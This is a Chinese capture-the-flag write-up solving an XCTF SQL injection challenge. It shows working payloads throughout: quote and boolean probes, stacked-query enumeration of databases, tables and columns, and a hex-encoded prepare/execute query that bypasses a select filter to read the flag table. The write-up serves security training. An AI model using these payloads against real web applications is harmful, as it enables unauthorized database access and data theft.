xctf:https://adworld.xctf.org.cn/
输入单引号,发现报错
返回正常:
/?inject=1' and 1=1--+
报错:
/?inject=1' and 1=2--+
order by 3 报错,order by 2正常
?inject=1' order by 2--+
利用select 去查看的出现正则匹配,不允许使用以下字符
可以使用堆叠注入的方式,查看当前数据库
?inject=1';show databases;--+
查看当前表:
/?inject=1';show tables;--+
查看words表的字段,发现没有flag:
/?inject=111';show columns from words;--+
再查看1919810931114514
表中的字段,你会发现,直接使用show是查看不了的
原因:
- 表名或者字段有和mysql关键字或保留字相同的就必须使用反引号加以区分
- 表名如果是纯数字,那么必须用反引号
所以我们加上反引号对纯数字的表进行查看,发现flag字段:
/?inject=111';show columns from `1919810931114514`;--+
查询flag思路:
我们不能直接使用select进行查看flag,但可以利用一个叫动态查询语句的方法进行查看。动态查询也是需要用到select语句,但我们可以将sql语句转换成16进制,mysql会自动识别16进制并进行转化,存入一个sql语句变量中,再使用execute执行sql语句。
如果不理解动态查询语句的小伙伴可以先学习一下动态查询的用法:
MYSQL 动态查询结果
mysql 实现 mssql exec 动态查询语句
我们将sql语句转换成16进制:
payload:
/?inject=1';SeT@sql=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @sql;execute execsql;#
- set@a:设定一个语句变量
- prepare : 存储一个sql语句 存到execsql 里面
- execute :执行一个sql语句